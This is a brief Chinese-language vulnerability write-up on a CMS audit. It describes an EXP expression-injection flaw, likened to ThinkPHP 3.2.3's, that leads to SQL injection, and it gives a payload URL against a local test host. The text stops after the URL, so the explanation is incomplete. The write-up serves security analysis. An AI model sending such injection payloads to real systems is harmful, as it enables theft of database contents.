某cms审计之exp表达式注入
# 某CMS审计之EXP表达式注入漏洞分析
## 漏洞概述
该漏洞存在于某CMS系统中，类似于ThinkPHP 3.2.3的EXP注入漏洞。攻击者可以通过构造特殊的请求参数，利用EXP表达式注入实现SQL注入攻击，从而获取数据库敏感信息。
## 漏洞利用
### 利用Payload
```
http://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)
2025-08-26 09:08:28
0